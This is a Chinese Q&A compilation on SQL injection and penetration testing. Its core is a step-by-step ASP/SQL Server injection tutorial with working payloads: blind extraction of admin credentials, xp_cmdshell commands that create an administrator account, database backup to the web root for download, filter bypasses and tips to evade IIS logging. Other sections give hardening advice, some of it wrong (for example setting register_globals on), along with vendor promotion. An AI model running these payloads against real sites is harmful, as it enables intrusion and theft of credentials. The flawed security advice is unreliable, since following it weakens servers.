Ⅰ 通過滲透測試,發現目標主機存在後門木馬漏洞、賬戶安全漏洞、網路sql注入漏洞怎麼解決
打開騰訊電腦管家——工具箱——修復漏洞，進行漏洞掃描和修復。
建議設置開啟自動修復漏洞功能，開啟後，電腦管家可以在發現高危漏洞（僅包括高危漏洞，不包括其它漏洞）時，第一時間自動進行修復，無需用戶參與，最大程度保證用戶電腦安全。尤其適合老人、小孩或計算機初級水平用戶使用。開啟方式如下：進入電腦管家「修復漏洞」模塊—「設置」，點擊開啟自動修復漏洞即可。
Ⅱ 網站如何防止sql注入攻擊的解決辦法
首先我們來了解下什麼是SQL注入，SQL注入簡單來講就是將一些非法參數插入到網站資料庫中去，執行一些sql命令，比如查詢資料庫的賬號密碼，資料庫的版本，資料庫伺服器的IP等等的一些操作，sql注入是目前網站漏洞中危害最大的一個漏洞，受攻擊的網站佔大多數都是sql注入攻擊。
sql注入攻擊用英語來講Structured Query Language，在網站的編程語言當中是一種比較另類的網站開發語言，我們網站安全行業通常來講sql是用來資料庫查詢的一種網站開發語言，同時也是一種腳本文件的一個文件名，通俗來講sql就是用來對網站的資料庫進行查詢，以及增加，寫入，更新資料庫的一個sql資料庫操作。
關於資料庫我們分為2種資料庫，一種是關系資料庫，非關系資料庫，那麼目前網站使用的都是關系資料庫，關系資料庫分為sql資料庫，microsoft sql server資料庫，ACC資料庫，mysql資料庫，oracle資料庫，DB2資料庫，postgresql資料庫等等的關系資料庫，非關系資料庫分為nosql資料庫，可以存儲很大數據，針對於一些並發較高，存儲較多，雲計算的場景，頻繁讀取寫入的資料庫，像memcachedb,redis,mongodb等等非關系資料庫。
那麼什麼是sql注入呢？ 簡單來講就是對網站強行進行插入數據，執行sql惡意語句對網站進行攻擊，對網站進行sql注入嘗試，可以獲取一些私密的信息，像資料庫的版本，管理員的賬號密碼等等。
關於如何防止sql注入攻擊，我們從以下幾點開始入手
首先我們可以了解到sql注入攻擊都是通過拼接的方式，把一些惡意的參數拼接到一起，然後在網站的前端中插入，並執行到伺服器後端到資料庫中去，通常我們在寫PHP網站代碼的時候會將get ID這個參數值獲取到後直接拼接到後端伺服器中去，查詢資料庫，但是如果拼接了一些惡意的非法參數，那麼久可以當做sql語句來執行，如果防止sql注入呢？
為了防止網站被sql注入攻擊，我們應該從一開始寫代碼的時候就應該過濾一些sql注入的非法參數，將查詢的一些sql語句，以及用戶輸入的參數值都以字元串的方式來處理，不論用戶輸入的什麼東西，在sql查詢的時候只是一段字元串，這樣構造的任何惡意參數都會以字元串的方式去查詢資料庫，一直惡意的sql注入攻擊就不會被執行，sql注入語句也就沒有效果了，再一個就是網站里的任何一個可以寫入的地方盡可能的嚴格過濾與限制，漏下一個可以輸入的地方網站就會被攻擊，網站就會被黑，所有做的網站安全就會沒有效果，包括一些get,post,cookie方式的提交都是不可信的，像數據表裡referer user-agent等欄位都是可以偽造，寫入sql注入語句的，像前端時間爆發的ecshop漏洞利用的就是user.php,偽造referer參數進行了sql注入，執行了遠程代碼。
再一個防止sql注入的方法就是開啟PHP的魔術配置，開啟安全配置模式，將safe_mode開啟on.以及關閉全局變數模式，register_globals參數設置為on,magic_quotes_gpc參數開啟，防止sql注入.如果對網站防止sql注入不懂的話，也可以找專業的網站安全公司來做安全，防止sql注入。
Ⅲ 如何防治SQL注入
隨著B/S模式應用開發的發展，使用這種模式編寫應用程序的程序員也越來越多。但是由於這個行業的入門門檻不高，程序員的水平及經驗也參差不齊，相當大一部分程序員在編寫代碼的時候，沒有對用戶輸入數據的合法性進行判斷，使應用程序存在安全隱患。用戶可以提交一段資料庫查詢代碼，根據程序返回的結果，獲得某些他想得知的數據，這就是所謂的SQL Injection，即SQL注入。
SQL注入是從正常的WWW埠訪問，而且表面看起來跟一般的Web頁面訪問沒什麼區別，所以目前市面的防火牆都不會對SQL注入發出警報
，如果管理員沒查看IIS日誌的習慣，可能被入侵很長時間都不會發覺。
但是，SQL注入的手法相當靈活，在注入的時候會碰到很多意外的情況。能不能根據具體情況進行分析，構造巧妙的SQL語句，從而成功獲取想要的數據，是高手與「菜鳥」的根本區別。
根據國情，國內的網站用ASP+Access或SQLServer的佔70%以上，PHP+MySQ佔L20%，其他的不足10%。在本文，我們從分入門、進階至高級講解一下ASP注入的方法及技巧，PHP注入的文章由NB聯盟的另一位朋友zwell撰寫，希望對安全工作者和程序員都有用處。了解 ASP注入的朋友也請不要跳過入門篇，因為部分人對注入的基本判斷方法還存在誤區。大家准備好了嗎？Let's Go...
入門篇
如果你以前沒試過SQL注入的話，那麼第一步先把IE菜單=>工具=>Internet選項=>高級=>顯示友好 HTTP 錯誤信息前面的勾去掉。否則，不論伺服器返回什麼錯誤，IE都只顯示為HTTP 500伺服器錯誤，不能獲得更多的提示信息。
第一節、SQL注入原理
以下我們從一個網站www.mytest.com開始（註：本文發表前已徵得該站站長同意，大部分都是真實數據）。
在網站首頁上，有名為「IE不能打開新窗口的多種解決方法」的鏈接，地址為：http://www.mytest.com/showdetail.asp?id=49，我們在這個地址後面加上單引號』，伺服器會返回下面的錯誤提示：
Microsoft JET Database Engine 錯誤 '80040e14'
字元串的語法錯誤 在查詢表達式 'ID=49'' 中。
/showdetail.asp，行8
從這個錯誤提示我們能看出下面幾點：
1. 網站使用的是Access資料庫，通過JET引擎連接資料庫，而不是通過ODBC。
2. 程序沒有判斷客戶端提交的數據是否符合程序要求。
3. 該SQL語句所查詢的表中有一名為ID的欄位。
從上面的例子我們可以知道，SQL注入的原理，就是從客戶端提交特殊的代碼，從而收集程序及伺服器的信息，從而獲取你想到得到的資料。
第二節、判斷能否進行SQL注入
看完第一節，有一些人會覺得：我也是經常這樣測試能否注入的，這不是很簡單嗎？
其實，這並不是最好的方法，為什麼呢？
首先，不一定每台伺服器的IIS都返回具體錯誤提示給客戶端，如果程序中加了cint(參數)之類語句的話，SQL注入是不會成功的，但伺服器同樣會報錯，具體提示信息為處理 URL 時伺服器上出錯。請和系統管理員聯絡。
其次，部分對SQL注入有一點了解的程序員，認為只
要把單引號過濾掉就安全了，這種情況不為少數，如果你用單引號測試，是測不到注入點的
那麼，什麼樣的測試方法才是比較准確呢？答案如下：
① http://www.mytest.com/showdetail.asp?id=49
② http://www.mytest.com/showdetail.asp?id=49 ;and 1=1
③ http://www.mytest.com/showdetail.asp?id=49 ;and 1=2
這就是經典的1=1、1=2測試法了，怎麼判斷呢？看看上面三個網址返回的結果就知道了：
可以注入的表現：
① 正常顯示（這是必然的，不然就是程序有錯誤了）
② 正常顯示，內容基本與①相同
③ 提示BOF或EOF（程序沒做任何判斷時）、或提示找不到記錄（判斷了rs.eof時）、或顯示內容為空（程序加了on error resume next）
不可以注入就比較容易判斷了，①同樣正常顯示，②和③一般都會有程序定義的錯誤提示，或提示類型轉換時出錯。
當然，這只是傳入參數是數字型的時候用的判斷方法，實際應用的時候會有字元型和搜索型參數，我將在中級篇的「SQL注入一般步驟」再做分析。
第三節、判斷資料庫類型及注入方法
不同的資料庫的函數、注入方法都是有差異的，所以在注入之前，我們還要判斷一下資料庫的類型。一般ASP最常搭配的資料庫是Access和SQLServer，網上超過99%的網站都是其中之一。
怎麼讓程序告訴你它使用的什麼資料庫呢？來看看：
SQLServer有一些系統變數，如果伺服器IIS提示沒關閉，並且SQLServer返回錯誤提示的話，那可以直接從出錯信息獲取，方法如下：
http://www.mytest.com/showdetail.asp?id=49 ;and user>0
這句語句很簡單，但卻包含了SQLServer特有注入方法的精髓，我自己也是在一次無意的測試中發現這種效率極高的猜解方法。讓我看來看看它的含義：首先，前面的語句是正常的，重點在and user>0，我們知道，user是SQLServer的一個內置變數，它的值是當前連接的用戶名，類型為nvarchar。拿一個 nvarchar的值跟int的數0比較，系統會先試圖將nvarchar的值轉成int型，當然，轉的過程中肯定會出錯，SQLServer的出錯提示是：將nvarch
ar值 」abc」 轉換數據類型為 int 的列時發生語法錯誤，呵呵，abc正是變數user的值，這樣，不廢吹灰之力就拿到了資料庫的用戶名。在以後的篇幅里，大家會看到很多用這種方法的語句。
順便說幾句，眾所周知，SQLServer的用戶sa是個等同Adminstrators許可權的角色，拿到了sa許可權，幾乎肯定可以拿到主機的 Administrator了。上面的方法可以很方便的測試出是否是用sa登錄，要注意的是：如果是sa登錄，提示是將」dbo」轉換成int的列發生錯誤，而不是」sa」。
如果伺服器IIS不允許返回錯誤提示，那怎麼判斷資料庫類型呢？我們可以從Access和SQLServer和區別入手，Access和 SQLServer都有自己的系統表，比如存放資料庫中所有對象的表，Access是在系統表[msysobjects]中，但在Web環境下讀該表會提示「沒有許可權」，SQLServer是在表[sysobjects]中，在Web環境下可正常讀取。
在確認可以注入的情況下，使用下面的語句：
http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from sysobjects)>0
http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from msysobjects)>0
如果資料庫是SQLServer，那麼第一個網址的頁面與原頁面http://www.mytest.com/showdetail.asp?id= 49是大致相同的；而第二個網址，由於找不到表msysobjects，會提示出錯，就算程序有容錯處理，頁面也與原頁面完全不同。
如果資料庫用的是Access，那麼情況就有所不同，第一個網址的頁面與原頁面完全不同；第二個網址，則視乎資料庫設置是否允許讀該系統表，一般來說是不允許的，所以與原網址也是完全不同。大多數情況下，用第一個網址就可以得知系統所用的資料庫類型，第二個網址只作為開啟IIS錯誤提示時的驗證。
進階篇
在入門篇，我們學會了SQL注入的判斷方法，但真正要拿到網站的保密內容，是遠遠不夠的。接下來，我們就繼續學習如何從資料庫中獲取想要獲得的內容，首先，我們先看看SQL注入的一般步驟：
第一節、SQL注入的一般步驟
首先，判斷環境，尋找注入點，判斷資料庫類型，這在入門篇已經講過了。
其次，根據注入參數類型，在腦海中重構SQL語句的原貌，按參數類型主要分為下面三種：
(A) ID=49 這類注入的參
數是數字型，SQL語句原貌大致如下：
Select * from 表名 where 欄位=49
注入的參數為ID=49 And [查詢條件]，即是生成語句：
Select * from 表名 where 欄位=49 And [查詢條件]
(B) Class=連續劇 這類注入的參數是字元型，SQL語句原貌大致概如下：
Select * from 表名 where 欄位=』連續劇』
注入的參數為Class=連續劇』 and [查詢條件] and 『』=』 ，即是生成語句：
Select * from 表名 where 欄位=』連續劇』 and [查詢條件] and 『』=』』
&; 搜索時沒過濾參數的，如keyword=關鍵字，SQL語句原貌大致如下：
Select * from 表名 where 欄位like 』%關鍵字%』
注入的參數為keyword=』 and [查詢條件] and 『%25』=』， 即是生成語句：
Select * from 表名 where欄位like 』%』 and [查詢條件] and 『%』=』%』
接著，將查詢條件替換成SQL語句，猜解表名，例如：
ID=49 And (Select Count(*) from Admin)>=0
如果頁面就與ID=49的相同，說明附加條件成立，即表Admin存在，反之，即不存在（請牢記這種方法）。如此循環，直至猜到表名為止。
表名猜出來後，將Count(*)替換成Count(欄位名)，用同樣的原理猜解欄位名。
有人會說：這里有一些偶然的成分，如果表名起得很復雜沒規律的，那根本就沒得玩下去了。說得很對，這世界根本就不存在100%成功的黑客技術，蒼蠅不叮無縫的蛋，無論多技術多高深的黑客，都是因為別人的程序寫得不嚴密或使用者保密意識不夠，才有得下手。
有點跑題了，話說回來，對於SQLServer的庫，還是有辦法讓程序告訴我們表名及欄位名的，我們在高級篇中會做介紹。
最後，在表名和列名猜解成功後，再使用SQL語句，得出欄位的值，下面介紹一種最常用的方法－Ascii逐字解碼法，雖然這種方法速度很慢，但肯定是可行的方法。
我們舉個例子，已知表Admin中存在username欄位，首先，我們取第一條記錄，測試長度：
http://www.mytest.com/showdetail.asp?id=49 ;and (select top 1 len(username) from Admin)>0
先說明原理：如果top 1的username長度大於0，則條件成立；接著就是>1、>2、>3這樣測試下去，一直到條件不成立為止，比如>7成立，>8不成立，就是len(username)=8
當然沒人會笨得從0,1,2,3一個個測試，怎麼樣才比較快就看各自發揮了。在得到username的長度後，用mid(username,N,1)截取第N位字元，再asc(mid(username,N,1))得到ASCII碼，比如：
id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0
同樣也是用逐步縮小范圍的方法得到第1位字元的ASCII碼，注意的是英文和數字的ASCII碼在1-128之間，可以用折半法加速猜解，如果寫成程序測試，效率會有極大的提高。
第二節、SQL注入常用函數
有SQL語言基礎的人，在SQL注入的時候成功率比不熟悉的人高很多。我們有必要提高一下自己的SQL水平，特別是一些常用的函數及命令。
Access：asc(字元) SQLServer：unicode(字元)
作用：返回某字元的ASCII碼
Access：chr(數字) SQLServer：nchar(數字)
作用：與asc相反，根據ASCII碼返回字元
Access：mid(字元串,N,L) SQLServer：substring(字元串,N,L)
作用：返回字元串從N個字元起長度為L的子字元串，即N到N+L之間的字元串
Access：abc(數字) SQLServer：abc (數字)
作用：返回數字的絕對值（在猜解漢字的時候會用到）
Access：A between B And C SQLServer：A between B And C
作用：
判斷A是否界於B與C之間
第三節、中文處理方法
在注入中碰到中文字元是常有的事，有些人一碰到中文字元就想打退堂鼓了。其實只要對中文的編碼有所了解，「中文恐懼症」很快可以克服。
先說一點常識：
Access中，中文的ASCII碼可能會出現負數，取出該負數後用abs()取絕對值，漢字字元不變。
SQL Server中，中文的ASCII為正數，但由於是UNICODE的雙位編碼，不能用函數ascii()取得ASCII碼，必須用函數unicode ()返回unicode值，再用nchar函數取得對應的中文字元。
了解了上面的兩點後，是不是覺得中文猜解其實也跟英文差不多呢？除了使用的函數要注意、猜解范圍大一點外，方法是沒什麼兩樣的。
高級篇
看完入門篇和進階篇後，稍加練習，破解一般的網站是沒問題了。但如果碰到表名列名猜不到，或程序作者過濾了一些特殊字元，怎麼提高注入的成功率？怎麼樣提高猜解效率？請大家接著往下看高級篇。
第一節、利用系統表注入SQLServer資料庫
SQL Server是一個功能強大的資料庫系統，與操作系統也有緊密的聯系，這給開發者帶來了很大的方便，但另一方面，也為注入者提供了一個跳板，我們先來看看幾個具體的例子
：
① http://Site/url.asp?id=1;exec master..xp_cmdshell 「net user name password /add」--
分號;在SQLServer中表示隔開前後兩句語句，--表示後面的語句為注釋，所以，這句語句在SQLServer中將被分成兩句執行，先是Select出ID=1的記錄，然後執行存儲過程xp_cmdshell，這個存儲過程用於調用系統命令，於是，用net命令新建了用戶名為name、密碼為password的windows的帳號，接著：
② http://Site/url.asp?id=1;exec master..xp_cmdshell 「net localgroup name administrators /add」--
將新建的帳號name加入管理員組，不用兩分鍾，你已經拿到了系統最高許可權！當然，這種方法只適用於用sa連接資料庫的情況，否則，是沒有許可權調用xp_cmdshell的。
③ http://Site/url.asp?id=1 ;and db_name()>0
前面有個類似的例子and user>0，作用是獲取連接用戶名，db_name()是另一個系統變數，返回的是連接的資料庫名。
④ http://Site/url.asp?id=1;backup database 資料庫名 to disk=』c:\inetpub\wwwroot\1.db』;--
這是相當狠的一招，從③拿到的資料庫名，加上某些IIS出錯暴露出的絕對路徑，將資料庫備份到Web目錄下面，再用HTTP把整個資料庫就完完整整的下載回來，所有的管理員及用戶密碼都一覽無遺！在不知道絕對路徑的時候，還可以備份到網路地址的方法（如\202.96.xx.xx\Share \1.db），但成功率不高。
⑤ http://Site/url.asp?id=1 ;and (Select Top 1 name from sysobjects where xtype=』U』 and status>0)>0
前面說過，sysobjects是SQLServer的系統表，存儲著所有的表名、視圖、約束及其它對象，xtype=』U』 and status>0，表示用戶建立的表名，上面的語句將第一個表名取出，與0比較大小，讓報錯信息把表名暴露出來。第二、第三個表名怎麼獲取？還是留給我們聰明的讀者思考吧。
⑥ http://Site/url.asp?id=1 ;and (Select Top 1 col_name(object_id(『表名』),1) from sysobjects)>0
從⑤拿到表名後，用object_id(『表名』)獲取表名對應的內部ID，col_name(表名ID,1)代表該表的第1個欄位名，將1換成2,3,4...就可以逐個獲取所猜解表裡面的欄位名。
以上6點是我研究SQLServer注入半年多以來的心血結晶，可以看出，對SQLServer的了解程度，直接影響著成功率及猜解速度。在我研究SQLServer注入之後，我在開發方面的水平也得到很大的提高，呵呵，也許安全與開發本來就是相輔相成的吧。
第二節、繞過程序限制繼續注入
在入門篇提到，有很多人喜歡用』號測試注入漏洞，所以也有很多人用過濾』號的方法來「防止」注入漏洞，這也許能擋住一些入門者的攻擊，但對SQL注入比較熟悉的人，還是可以利用相關的函數，達到繞過程序限制的目的。
在「SQL注入的一般步驟」一節中，我所用的語句，都是經過我優化，讓其不包含有單引號的；在「利用系統表注入SQLServer資料庫」中，有些語句包含有』號，我們舉個例子來看
看怎麼改造這些語句：
簡單的如where xtype=』U』，字元U對應的ASCII碼是85，所以可以用where xtype=char(85)代替；如果字元是中文的，比如where name=』用戶』，可以用where name=nchar(29992)+nchar(25143)代替。
第三節、經驗小結
1.有些人會過濾Select、Update、Delete這些關鍵字，但偏偏忘記區分大小寫，所以大家可以用selecT這樣嘗試一下。
2.在猜不到欄位名時，不妨看看網站上的登錄表單，一般為了方便起見，欄位名都與表單的輸入框取相同的名字。
3.特別注意：地址欄的+號傳入程序後解釋為空格，%2B解釋為+號，%25解釋為%號，具體可以參考URLEncode的相關介紹。
4.用Get方法注入時，IIS會記錄你所有的提交字元串，對Post方法做則不記錄，所以能用Post的網址盡量不用Get。
5. 猜解Access時只能用Ascii逐字解碼法，SQLServer也可以用這種方法，只需要兩者之間的區別即可，但是如果能用SQLServer的報錯信息把值暴露出來，那效率和准確率會有極大的提高。
防範方法
SQL注入漏洞可謂是「千里之堤，潰於蟻穴」，這種漏洞在網上極為普遍，通常是由於程序員對注入不了解，或者程序過濾不嚴格，或者某個參數忘記檢查導致。在這里，我給大家一個函數，代替ASP中的Request函數，可以對一切的SQL注入Say NO，函數如下：
Function SafeRequest(ParaName,ParaType)
'--- 傳入參數 ---
'ParaName:參數名稱-字元型
'ParaType:參數類型-數字型(1表示以上參數是數字，0表示以上參數為字元)
Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If not isNumeric(ParaValue) then
Response.write "參數" & ParaName & "必須為數字型！"
Response.end
End if
Else
ParaValue=replace(ParaValue,"'","''")
End if
SafeRequest=ParaValue
End function
文章到這里就結束了，不管你是安全人員、技術愛好者還是程序員，我都希望本文能對你有所幫助。
Ⅳ SQL伺服器一直被入侵怎麼辦
伺服器安全這問題，很重要，之前伺服器被黑，管理員賬號也被篡改，遠程埠也登陸不了了。，在網上搜索了一些伺服器安全設置以及防黑的文章，對著文章，我一個一個的設置起來，費了好幾天的時間才設置完，原以為會防止伺服器再次被黑，沒想到伺服器竟然癱瘓了，網站都打不開了，無奈對伺服器安全也是一竅不通，損失真的很大，資料庫都損壞了，我哪個後悔啊。娘個咪的。最後還是讓機房把系統重裝了。找了幾個做網站伺服器方面的朋友，咨詢了關於伺服器被黑的解決辦法，他們建議找國內最有名的伺服器安全的安全公司來給做安全維護，找了sinesafe，伺服器被黑的問題，才得以解決。
一路的走來，才知道，伺服器安全問題可不能小看了。經歷了才知道，伺服器安全了給自己帶來的也是長遠的利益。 希望我的經歷能幫到樓主，幫助別人也是在幫助我自己。
下面是一些關於安全方面的建議！
建站一段時間後總能聽得到什麼什麼網站被掛馬，什麼網站被黑。好像入侵掛馬似乎是件很簡單的事情。其實，入侵不簡單，簡單的是你的網站的必要安全措施並未做好。
一：掛馬預防措施：
1、建議用戶通過ftp來上傳、維護網頁，盡量不安裝asp的上傳程序。
2、定期對網站進行安全的檢測，具體可以利用網上一些工具，如sinesafe網站掛馬檢測工具！
序，只要可以上傳文件的asp都要進行身份認證!
3、asp程序管理員的用戶名和密碼要有一定復雜性，不能過於簡單，還要注意定期更換。
4、到正規網站下載asp程序，下載後要對其資料庫名稱和存放路徑進行修改，資料庫文件名稱也要有一定復雜性。
5、要盡量保持程序是最新版本。
6、不要在網頁上加註後台管理程序登陸頁面的鏈接。
7、為防止程序有未知漏洞，可以在維護後刪除後台管理程序的登陸頁面，下次維護時再通過ftp上傳即可。
8、要時常備份資料庫等重要文件。
9、日常要多維護，並注意空間中是否有來歷不明的asp文件。記住：一分汗水，換一分安全!
10、一旦發現被入侵，除非自己能識別出所有木馬文件，否則要刪除所有文件。
11、對asp上傳程序的調用一定要進行身份認證，並只允許信任的人使用上傳程序。這其中包括各種新聞發布、商城及論壇程
二：掛馬恢復措施：
1.修改帳號密碼
不管是商業或不是，初始密碼多半都是admin。因此你接到網站程序第一件事情就是「修改帳號密碼」。帳號
密碼就不要在使用以前你習慣的，換點特別的。盡量將字母數字及符號一起。此外密碼最好超過15位。尚若你使用
SQL的話應該使用特別點的帳號密碼，不要在使用什麼什麼admin之類，否則很容易被入侵。
2.創建一個robots.txt
Robots能夠有效的防範利用搜索引擎竊取信息的駭客。
3.修改後台文件
第一步：修改後台里的驗證文件的名稱。
第二步：修改conn.asp，防止非法下載，也可對資料庫加密後在修改conn.asp。
第三步：修改ACESS資料庫名稱，越復雜越好，可以的話將數據所在目錄的換一下。
4.限制登陸後台IP
此方法是最有效的，每位虛擬主機用戶應該都有個功能。你的IP不固定的話就麻煩點每次改一下咯，安全第一嘛。
5.自定義404頁面及自定義傳送ASP錯誤信息
404能夠讓駭客批量查找你的後台一些重要文件及檢查網頁是否存在注入漏洞。
ASP錯誤嘛，可能會向不明來意者傳送對方想要的信息。
6.慎重選擇網站程序
注意一下網站程序是否本身存在漏洞，好壞你我心裡該有把秤。
7.謹慎上傳漏洞
據悉，上傳漏洞往往是最簡單也是最嚴重的，能夠讓黑客或駭客們輕松控制你的網站。
可以禁止上傳或著限制上傳的文件類型。不懂的話可以找專業做網站安全的sinesafe公司。
8. cookie 保護
登陸時盡量不要去訪問其他站點，以防止 cookie 泄密。切記退出時要點退出在關閉所有瀏覽器。
9.目錄許可權
請管理員設置好一些重要的目錄許可權，防止非正常的訪問。如不要給上傳目錄執行腳本許可權及不要給非上傳目錄給於寫入權。
10.自我測試
如今在網上黑客工具一籮筐，不防找一些來測試下你的網站是否OK。
11.例行維護
a.定期備份數據。最好每日備份一次，下載了備份文件後應該及時刪除主機上的備份文件。
b.定期更改資料庫的名字及管理員帳密。
c.借WEB或FTP管理，查看所有目錄體積，最後修改時間以及文件數，檢查是文件是否有異常，以及查看是否有異常的賬號。
Ⅳ 怎樣對sql注入滲透測試使web站點可以通過任意用戶名登錄
如果是你自己的 web站點，規則由你定，你就可以通過任意用戶名登錄，如果是別人的web站點，要想通過任意用戶名登錄，這就是黑客的工作了
Ⅵ 滲透測試應該怎麼做呢
01、信息收集
1、域名、IP、埠
域名信息查詢：信息可用於後續滲透
IP信息查詢：確認域名對應IP，確認IP是否真實，確認通信是否正常
埠信息查詢：NMap掃描，確認開放埠
發現：一共開放兩個埠，80為web訪問埠，3389為windows遠程登陸埠，嘿嘿嘿，試一下
發現：是Windows Server 2003系統，OK，到此為止。
2、指紋識別
其實就是網站的信息。比如通過可以訪問的資源，如網站首頁，查看源代碼:
看看是否存在文件遍歷的漏洞（如圖片路徑，再通過…/遍歷文件）
是否使用了存在漏洞的框架（如果沒有現成的就自己挖）
02、漏洞掃描
1、主機掃描
Nessus
經典主機漏掃工具，看看有沒有CVE漏洞：
2、Web掃描
AWVS（Acunetix | Website Security Scanner）掃描器
PS：掃描器可能會對網站構成傷害，小心謹慎使用。
03、滲透測試
1、弱口令漏洞
漏洞描述
目標網站管理入口（或資料庫等組件的外部連接）使用了容易被猜測的簡單字元口令、或者是默認系統賬號口令。
滲透測試
① 如果不存在驗證碼，則直接使用相對應的弱口令字典使用burpsuite 進行爆破
② 如果存在驗證碼，則看驗證碼是否存在繞過、以及看驗證碼是否容易識別
風險評級：高風險
安全建議
① 默認口令以及修改口令都應保證復雜度，比如：大小寫字母與數字或特殊字元的組合，口令長度不小於8位等
② 定期檢查和更換網站管理口令
2、文件下載（目錄瀏覽）漏洞
漏洞描述
一些網站由於業務需求，可能提供文件查看或下載的功能，如果對用戶查看或下載的文件不做限制，則惡意用戶就能夠查看或下載任意的文件，可以是源代碼文件、敏感文件等。
滲透測試
① 查找可能存在文件包含的漏洞點，比如js，css等頁面代碼路徑
② 看看有沒有文件上傳訪問的功能
③ 採用…/來測試能否誇目錄訪問文件
風險評級：高風險
安全建議
① 採用白名單機制限制伺服器目錄的訪問，以及可以訪問的文件類型(小心被繞過)
② 過濾【./】等特殊字元
③ 採用文件流的訪問返回上傳文件（如用戶頭像），不要通過真實的網站路徑。
示例：tomcat，默認關閉路徑瀏覽的功能：
<param-name>listings</param-name>
<param-value>false</param-value>
3、任意文件上傳漏洞
漏洞描述
目標網站允許用戶向網站直接上傳文件，但未對所上傳文件的類型和內容進行嚴格的過濾。
滲透測試
① 收集網站信息，判斷使用的語言（PHP，ASP，JSP）
② 過濾規則繞過方法：文件上傳繞過技巧
風險評級：高風險
安全建議
① 對上傳文件做有效文件類型判斷，採用白名單控制的方法，開放只允許上傳的文件型式；
② 文件類型判斷，應對上傳文件的後綴、文件頭、圖片類的預覽圖等做檢測來判斷文件類型，同時注意重命名（Md5加密）上傳文件的文件名避免攻擊者利用WEB服務的缺陷構造畸形文件名實現攻擊目的；
③ 禁止上傳目錄有執行許可權；
④ 使用隨機數改寫文件名和文件路徑，使得用戶不能輕易訪問自己上傳的文件。
4、命令注入漏洞
漏洞描述
目標網站未對用戶輸入的字元進行特殊字元過濾或合法性校驗，允許用戶輸入特殊語句，導致各種調用系統命令的web應用，會被攻擊者通過命令拼接、繞過黑名單等方式，在服務端運行惡意的系統命令。
滲透測試
風險評級：高風險
安全建議
① 拒絕使用拼接語句的方式進行參數傳遞；
② 盡量使用白名單的方式（首選方式）；
③ 過濾危險方法、特殊字元，如：【|】【&】【；】【』】【"】等
5、SQL注入漏洞
漏洞描述
目標網站未對用戶輸入的字元進行特殊字元過濾或合法性校驗，允許用戶輸入特殊語句查詢後台資料庫相關信息
滲透測試
① 手動測試：判斷是否存在SQL注入，判斷是字元型還是數字型，是否需要盲注
② 工具測試：使用sqlmap等工具進行輔助測試
風險評級：高風險
安全建議
① 防範SQL注入攻擊的最佳方式就是將查詢的邏輯與其數據分隔，如Java的預處理，PHP的PDO
② 拒絕使用拼接SQL的方式
6、跨站腳本漏洞
漏洞描述
當應用程序的網頁中包含不受信任的、未經恰當驗證或轉義的數據時，或者使用可以創建 HTML或JavaScript 的瀏覽器 API 更新現有的網頁時，就會出現 XSS 缺陷。XSS 讓攻擊者能夠在受害者的瀏覽器中執行腳本，並劫持用戶會話、破壞網站或將用戶重定向到惡意站點。
三種XSS漏洞：
① 存儲型：用戶輸入的信息被持久化，並能夠在頁面顯示的功能，都可能存在存儲型XSS，例如用戶留言、個人信息修改等。
② 反射型：URL參數需要在頁面顯示的功能都可能存在反射型跨站腳本攻擊，例如站內搜索、查詢功能。
③ DOM型：涉及DOM對象的頁面程序，包括：document.URL、document.location、document.referrer、window.location等
滲透測試
存儲型，反射型，DOM型
風險評級：高風險
安全建議
① 不信任用戶提交的任何內容，對用戶輸入的內容，在後台都需要進行長度檢查，並且對【<】【>】【"】【』】【&】等字元做過濾
② 任何內容返回到頁面顯示之前都必須加以html編碼，即將【<】【>】【"】【』】【&】進行轉義。
7、跨站請求偽造漏洞
漏洞描述
CSRF，全稱為Cross-Site Request Forgery，跨站請求偽造，是一種網路攻擊方式，它可以在用戶毫不知情的情況下，以用戶的名義偽造請求發送給被攻擊站點，從而在未授權的情況下進行許可權保護內的操作，如修改密碼，轉賬等。
滲透測試
風險評級：中風險（如果相關業務極其重要，則為高風險）
安全建議
① 使用一次性令牌：用戶登錄後產生隨機token並賦值給頁面中的某個Hidden標簽，提交表單時候，同時提交這個Hidden標簽並驗證，驗證後重新產生新的token，並賦值給hidden標簽；
② 適當場景添加驗證碼輸入：每次的用戶提交都需要用戶在表單中填寫一個圖片上的隨機字元串；
③ 請求頭Referer效驗，url請求是否前部匹配Http(s)😕/ServerHost
④ 關鍵信息輸入確認提交信息的用戶身份是否合法，比如修改密碼一定要提供原密碼輸入
⑤ 用戶自身可以通過在瀏覽其它站點前登出站點或者在瀏覽器會話結束後清理瀏覽器的cookie；
8、內部後台地址暴露
漏洞描述
一些僅被內部訪問的地址，對外部暴露了，如：管理員登陸頁面；系統監控頁面；API介面描述頁面等，這些會導致信息泄露，後台登陸等地址還可能被爆破。
滲透測試
① 通過常用的地址進行探測，如login.html，manager.html，api.html等；
② 可以借用burpsuite和常規頁面地址字典，進行掃描探測
風險評級：中風險
安全建議
① 禁止外網訪問後台地址
② 使用非常規路徑（如對md5加密）
9、信息泄露漏洞
漏洞描述
① 備份信息泄露：目標網站未及時刪除編輯器或者人員在編輯文件時，產生的臨時文件，或者相關備份信息未及時刪除導致信息泄露。
② 測試頁面信息泄露：測試界面未及時刪除，導致測試界面暴露，被他人訪問。
③ 源碼信息泄露：目標網站文件訪問控制設置不當，WEB伺服器開啟源碼下載功能，允許用戶訪問網站源碼。
④ 錯誤信息泄露：目標網站WEB程序和伺服器未屏蔽錯誤信息回顯，頁面含有CGI處理錯誤的代碼級別的詳細信息，例如SQL語句執行錯誤原因，PHP的錯誤行數等。
⑤ 介面信息泄露：目標網站介面訪問控制不嚴，導致網站內部敏感信息泄露。
滲透測試
① 備份信息泄露、測試頁面信息泄露、源碼信息泄露，測試方法：使用字典，爆破相關目錄，看是否存在相關敏感文件
② 錯誤信息泄露，測試方法：發送畸形的數據報文、非正常的報文進行探測，看是否對錯誤參數處理妥當。
③ 介面信息泄露漏洞，測試方法：使用爬蟲或者掃描器爬取獲取介面相關信息，看目標網站對介面許可權是否合理
風險評級：一般為中風險，如果源碼大量泄漏或大量客戶敏感信息泄露。
安全建議
① 備份信息泄露漏洞：刪除相關備份信息，做好許可權控制
② 測試頁面信息泄露漏洞：刪除相關測試界面，做好許可權控制
③ 源碼信息泄露漏洞：做好許可權控制
④ 錯誤信息泄露漏洞：將錯誤信息對用戶透明化，在CGI處理錯誤後可以返回友好的提示語以及返回碼。但是不可以提示用戶出錯的代碼級別的詳細原因
